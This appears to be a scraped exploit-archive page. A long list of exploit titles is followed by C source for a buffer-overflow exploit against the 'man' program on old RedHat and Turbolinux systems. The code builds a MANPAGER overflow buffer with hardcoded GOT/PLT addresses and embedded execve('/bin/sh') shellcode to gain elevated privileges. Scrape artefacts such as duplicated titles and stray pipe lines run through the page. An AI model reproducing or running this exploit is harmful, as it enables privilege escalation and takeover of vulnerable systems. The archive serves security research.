880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
75 lines
No EOL
2.5 KiB
C
75 lines
No EOL
2.5 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/1011/info
|
|
|
|
RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability
|
|
|
|
A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man.
|
|
|
|
Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained.
|
|
*/
|
|
|
|
|
|
/*
|
|
* Rewriten from:
|
|
* (c) 2000 babcia padlina / b0f
|
|
* (lcamtuf's idea)
|
|
* by Kil3r of Lam3rZ
|
|
* for nonexec stack environment
|
|
*
|
|
* redhat 6.1 (and others) /usr/bin/man exploit
|
|
*/
|
|
|
|
char execshell[] =
|
|
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
|
|
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
|
|
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <sys/param.h>
|
|
#include <sys/stat.h>
|
|
#include <string.h>
|
|
|
|
#define STRCPY 0x80490e4 // <== strcpy() PLT entry
|
|
#define GOT 0x805038c // <== strcpy() GOT entry
|
|
#define NOP 0x90
|
|
#define BUFSIZE 4033+38
|
|
#define RET STRCPY //0x46464646
|
|
#define _BIN_SH 0xbfffffe7 // <== where we have "/bin/sh" string,
|
|
// curently useless ;)
|
|
#define SHELLCODE 0xbfffffc1
|
|
|
|
long getesp(void)
|
|
{
|
|
__asm__("movl %esp, %eax\n");
|
|
}
|
|
|
|
int main(argc, argv)
|
|
int argc;
|
|
char **argv;
|
|
{
|
|
char buf[BUFSIZE], *p;
|
|
char *env[3];
|
|
int *ap;
|
|
|
|
memset(buf,NOP,BUFSIZE);
|
|
|
|
p=buf+BUFSIZE-4;
|
|
ap=(int *)p;
|
|
*ap++ =RET;
|
|
*ap++ =GOT+4;
|
|
*ap++ =GOT+4;
|
|
*ap++ =SHELLCODE;
|
|
|
|
fprintf(stderr, "RET: 0x%x SHELLCODE: 0x%x", RET, SHELLCODE);
|
|
|
|
memcpy(buf,"MANPAGER=", 9);
|
|
env[0]=buf;
|
|
// env[1]="/bin/sh";
|
|
env[1]=execshell;
|
|
env[2]=(char *)0;
|
|
execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
|
|
// shellcode and other params at fixed addr!!!
|
|
|
|
return 0;
|
|
} |